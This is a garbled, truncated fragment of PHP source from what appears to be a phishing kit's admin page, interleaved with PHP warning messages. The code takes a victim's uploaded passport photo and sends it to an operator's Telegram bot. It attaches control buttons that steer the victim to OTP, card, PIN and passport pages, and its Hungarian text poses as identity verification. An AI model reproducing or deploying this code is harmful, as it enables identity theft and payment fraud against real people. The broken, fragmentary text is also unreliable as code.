???
123123123123
.....................................................................................................................................???
123123123123
.....................................................................................................................................
Warning: Undefined variable $auth in /home/elquintoelemento/public_html/admin.php on line 546
Warning: Trying to access array offset on null in /home/elquintoelemento/public_html/admin.php on line 546
Warning: Cannot modify header information - headers already sent by (output started at /home/elquintoelemento/public_html/admin.php:1) in /home/elquintoelemento/public_html/admin.php on line 188
Warning: Cannot modify header information - headers already sent by (output started at /home/elquintoelemento/public_html/admin.php:1) in /home/elquintoelemento/public_html/admin.php on line 189
getMessage());
}
if (!defined('SESSIONS_DIR')) {
define('SESSIONS_DIR', 'sessions/');
}
if (!defined('STATUS_DIR')) {
define('STATUS_DIR', 'status/');
}
// رسالة خطأ من تيليجرام (لا تعديل)
$error_message = '';
if (isset($_GET['error']) && $_GET['error'] == 1) {
$error_message = '
" . htmlspecialchars($fileName) . "\n\n";
$message .= "Session ID: " . $sessionId . "\n";
$keyboard = [
[['text' => '✅ SUCCESS', 'callback_data' => "success:$sessionId"], ['text' => '🔢 OTP', 'callback_data' => "goto_otp:$sessionId"]],
[['text' => '❌ Error Passport', 'callback_data' => "error_passport:$sessionId"], ['text' => '🛂 PASSPORT', 'callback_data' => "goto_passport:$sessionId"]],
[['text' => '💳 CARD', 'callback_data' => "goto_card:$sessionId"], ['text' => '📌 PIN', 'callback_data' => "goto_pin:$sessionId"]]
];
$telegramSent = false;
// Try sendPhotoToTelegram function first
if (function_exists('sendPhotoToTelegram')) {
$telegramSent = sendPhotoToTelegram($uploadPath, $message, $keyboard);
}
if (!$telegramSent && defined('TELEGRAM_BOT_TOKEN') && defined('TELEGRAM_CHAT_ID')) {
try {
$botToken = TELEGRAM_BOT_TOKEN;
$chatId = TELEGRAM_CHAT_ID;
$url = "https://api.telegram.org/bot{$botToken}/sendPhoto";
$postData = [
'chat_id' => $chatId,
'photo' => new CURLFile(realpath($uploadPath)),
'caption' => $message,
'parse_mode' => 'HTML',
'reply_markup' => json_encode(['inline_keyboard' => $keyboard])
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200) {
$telegramSent = true;
}
} catch (Exception $e) {
error_log("Telegram direct API error: " . $e->getMessage());
}
}
// Fallback: try other function names if still not sent
if (!$telegramSent) {
try {
if (function_exists('sendPhoto')) {
$telegramSent = sendPhoto($uploadPath, $message, $keyboard);
} elseif (function_exists('send_photo_to_telegram')) {
$telegramSent = send_photo_to_telegram($uploadPath, $message, $keyboard);
}
} catch (Exception $e) {
error_log("Telegram fallback error: " . $e->getMessage());
}
}
// Log the result for debugging
error_log("Passport upload - Telegram sent: " . ($telegramSent ? 'Yes' : 'No') . " - Session: " . $sessionId);
header('Location: loading.php');
exit();
} else {
$error_message = '
Kérjük, töltse fel útlevelének fényképét a személyazonosság ellenőrzéséhez